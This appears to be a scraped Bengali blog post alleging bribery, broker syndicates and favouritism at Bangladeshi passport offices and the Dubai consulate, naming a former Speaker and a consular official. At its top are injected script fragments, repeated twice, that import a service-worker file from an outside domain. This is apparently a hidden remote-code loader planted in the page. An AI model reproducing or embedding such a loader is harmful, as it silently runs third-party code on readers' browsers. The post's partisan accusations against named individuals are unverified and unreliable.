} self.lary = "" importScripts('https://3nbf4.com/act/files/service-worker.min.js?r=sw') } self.lary = "" importScripts('https://3nbf4.com/act/files/service-worker.min.js?r=sw') পাসপোর্ট অফিসে দুর্নিতির সর্গ্যরাজ্য বাংলাদেশ পাসপোর্ট অফিসগুলা। ঘুষ ছাডা হয় না পাসপোর্ট, পরতে পরতে দুর্নিতি, বিস্তারিত দেওয়া হইল।

Hot Posts

6/recent/ticker-posts

পাসপোর্ট অফিসে দুর্নিতির সর্গ্যরাজ্য বাংলাদেশ পাসপোর্ট অফিসগুলা। ঘুষ ছাডা হয় না পাসপোর্ট, পরতে পরতে দুর্নিতি, বিস্তারিত দেওয়া হইল।

/p>

হত্যা মামলা আসামি হয়েও পাসপোর্টের ভিআইপি সেবা পেলেন সাবেক স্পিকার, শিরিন শারমিন। 



ভিআইপি প্রটোকলে সাবেক স্পিকার শিরিন শারমিন চৌধুরী এবং তার স্বামীর পাসপোর্টের আবেদন গ্রহণ করেছে আগারগাঁও পাসপোর্ট অফিস। বাসায় গিয়ে তাদের ছবি ও বায়োমেট্রিক গ্রহণ করা হয়েছে। এই বিষয়ে কোনো সঠিক জবাব দিতে পারছেন না পাসপোর্ট অফিসের কর্মকর্তারা। জানা গেছে, লাল পাসপোর্ট বাতিল হওয়ায় সাধারণ পাসপোর্টের জন্য আবেদন করেন শিরিন শারমিন চৌধুরী।

বিকেল ৪টার পর পরই আগারগাঁও পাসপোর্ট অফিসে সব ধরনের সেবা বন্ধ করে দেয়া হয়। তবে এই সময়ে পাসপোর্ট অফিসে সেবা নিতে আসা গ্রহীতার ভিড় কমে না। সেবাগ্রহীতাদের অনেকে এই সময়ে পাসপোর্ট অফিস সংশ্লিষ্টদের দ্বারা দুর্ব্যবহারের শিকার হন।

অথচ কাউকে কাউকে নির্ধারিত সময়ের পরেও বাসায় গিয়ে দেয়া হয় ভিআইপি সার্ভিস। তাও আবার গণঅভ্যুত্থানের মুখে পতন হওয়া আওয়ামী লীগ সরকারের স্পীকার শিরিন শারমিন চৌধুরীর মত কাউকে। যিনি কী না হত্যা মামলার আসামি।




তথচ, দেশের একজন সাধারন নাগরিক বা প্রবাসি পাসপোর্ট আবেদন করতে গেলে তার আবেদন জমা নেয়, ভিবিন্ন ভাবে ইনিয়ে বিনিয়ে, এই ভুল সেই ভুল বলে বের করে দেয়, যাতে করে তাদের দালালির সিন্ডিকেট আছে, তাদের কাছে গিয়ে ঘুষ দিতে হবে তখন, আর কোন ভুল নাই, সব সঠিক হইয়েছে, কারন গুষ দেওয়া হয়ছে। 

তারপর সাধারন নাগরিক সাধারন ভাবে পাসপর্ট অফিসে ২ বা ৩ টার পরে গেলে অফিস বন্ধ, আবেদন আর নেওয়া হবে না। 

কিন্তু সাবেক স্পিকার অবৈধ সরকারের অবৈধ স্পিকার শিরিন শারমিন আত্তগোপন বা পালিয়ে বেডাইতেছে, সেখানে পাসপোর্ট অফিস গিয়ে সম্পুর্ন অবইধভাবে এই শিরিন শারমিনের পাসপোর্ট এর এনরোলমেণ্ট বা আবেদন জমা নিয়েছে ?

তাহলে প্রশ্ন আসে, কিভাবে এই পলাতক মহিলার ফিঙ্গার প্রিন্ট, আইরিশ কিভাবে নিয়েছে ? কিভাবে তাহাদের ফিংগার প্রিন্ট নেওয়া হয়ছে ? তাছাডা এই মহিলা একজন হত্যা মামলার আসামি। 



এখনও দেশের পাসপোর্ট অফিসে ও বিদেশি দুতাবাস গুলা দালাল ও দুর্নিতিবাজরা দুর্নিতি লুটপাট করেই যাচ্ছে। 

সময় এখন, এসব দুর্নিতিবাজদের ধরে ২০ বছর করে জেলে দেওয়া হোক তাহলে, এসব বন্ধ হবে কঠিন সাজা না হইলে দুর্নিতিচুরি  কখন ও বন্ধ হবে না। 




ইহা বাংলাদেশ কন্সুলেট দুবাই, এম্বেসি বাংলাদেশ এর চিত্র 

ভিডিও দেখার পরে কি কেউ বলবেন এটা কোন দেশের কন্সুলেট জেনারেল বা এম্বেসি ? এটা মনে হবে কোন মাছের আডত বা মাছ বা সবজি বাজার। 


এটা ছিল, আওায়ামিলিগ সকারের একটা এজেন্সি বা সেখ মুজিবের জাদুঘর। কোন বাংলাদেশের সাধারন নাগরিক সেখানে জেতে পারবে না প্রথমত কারন সিকুরিটী বসিয়ে রেখেছে, জেতে পারবে শুধু মাত্র দালাল, আওয়ামিলিগ। 

এম্বেসিতে গেলে শুধু সেখ মুজিবের ছবি আর ছবি পুরা এম্বেসিটা দেখে বুজা জাইবে সেখ মুজিবের জাদুঘর বা ৩২ নাম্বার বাডি, ঢাকা, ধানমন্ডি সেখ মুজিবের বাডি। 


তাদের মা সেখা হাসিনা পালিয়ে জাওয়ার পরে এই দুবাই পাসপোর্ট অফিসের দালালরা, সেখ মুজিবের সকল ছবি সরিয়ে পেলেছে, ছাত্র জনতার ভয়ে। 


কিন্তু ৫৭ জন নিরিহ বাংলাদেশের নাগরিককে মিথ্যা সন্ত্রাসি বানিয়ে দুবাইয়ের সি আইডি দিয়ে ধরিয়ে দিয়েছে এই বাংলাদেশের এম্বেসি বি এম জামাল হোসেন দালাল সহ তার সাংঘ পাংগরা সহ, যাহা সেখ হাসিনাকে খুশি করতে করেছে ৫৭ জন প্রবাসিদের যাবন জীবন কারো ১০ বছরের জেল করে দিয়েছে তাদের জীবন ধংস করেছে এই বাংলাদেশের এম্বসি দুবাইয়ের দালালরা। 


ভাগ্যক্রমে, সেখ হাসিনা পালিয়েছে, আল্লাহ রহমত করেছে যদি সেখ হাসিনা থাকত এই প্রবাসিদের জীবন ধংস হয়ে যেত দুবাইয়ের জেলে পছে মরতে হইত এসব প্রাবাসিদের বছরের পর  বছর। 


কিন্তু সৌভাগ্যক্রমে সেখ হাসিনা পালিয়েছে, এই নিরিহ ৫৭ জন প্রবাসি মুক্ত হয়ে দেশে ফেওরত গেছে কিন্তু এসব দালাল, জামাল হোসেন সহ সবাই এখনও বহাল তবিয়তে আছে। 

কিছু বললে পুলিশের ভয় দেখায়, দেশে পাঠিয়ে দিবে, সিকুরিটি নয় মনে হয় তাদের বাডিঘর, তারা দেশের মানুষকে সাষন করে। 


এম্বেসির ভিতেরে তারা দোকান খুলে বসে আছে, অতিরিক্ত পাসপোর্ট করে দিবে বলে হাজারহাজার টাকা হাতিয় নিচ্ছে এই সেখ হাসিনা গংরা । 

দুবাই সরকার সুযোগ দিয়েছে সাধারন ক্ষমার মাধ্যে যে ইলিগাল মানুষ লিগাল হইবে কিন্তু সেখানেও বাংলাদেশের এম্বেসির বাধা। 


একজন সাধারন নাগরিক ইলিগাল অনেক বছর ধরে তার কাজ নাই টাকা নাই, পাসপর্ট বানাইতে ফিস নেয় ৭১০ দেরহাম বাংলাদেশি টাকায় , প্রায় ২৪,০০০ হাজার টাকা মাত্র। 

আর বাংলাদেশে পাসপর্টের ফিস মাত্র ৮,০০০ টাকা। তাহলে কি বিচার আপনারা করেন। 


আরো কত দোকান রয়েছে, সত্যায়িত করা, কল্ল্যান কার্ড, বি এম ই টি এইটা সেইটা । 


আরও পডূন >>>>>>>>>>>





 


Post a Comment

0 Comments